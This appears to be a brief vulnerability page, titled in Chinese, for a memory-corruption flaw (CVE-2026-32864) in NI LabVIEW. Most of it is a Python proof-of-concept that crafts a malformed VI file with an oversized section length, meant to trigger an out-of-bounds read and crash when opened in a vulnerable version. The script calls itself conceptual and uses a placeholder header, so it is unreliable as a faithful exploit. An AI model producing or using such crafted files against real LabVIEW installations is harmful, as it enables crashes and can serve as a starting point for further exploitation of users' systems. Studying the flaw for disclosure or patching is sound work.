CVE-2026-32864 NI LabVIEW内存损坏漏洞

# PoC for CVE-2026-32864 (Conceptual) # This script generates a malformed VI file structure to trigger the OOB read in aligned_free. # Note: Real exploitation requires precise knowledge of the LabVIEW file format and heap layout. import struct def create_malformed_vi(filename): # LabVIEW files typically start with specific headers (e.g., 'RSRC' or version blocks) # This is a simplified skeleton to demonstrate the concept of crafting a file. header = b"LVSB\x00" # Placeholder header # Construct a malformed section size that might trigger allocation issues # leading to the specific aligned_free call with bad pointers. malicious_size = struct.pack('<I', 0xFFFFFFF0) # Invalid large size section_data = b"A" * 0x10 with open(filename, 'wb') as f: f.write(header) f.write(malicious_size) f.write(section_data) print(f"[+] Malformed VI file generated: {filename}") print(f"[*] Open this file in a vulnerable version of NI LabVIEW to trigger the crash.") if __name__ == "__main__": create_malformed_vi("poc_CVE-2026-32864.vi")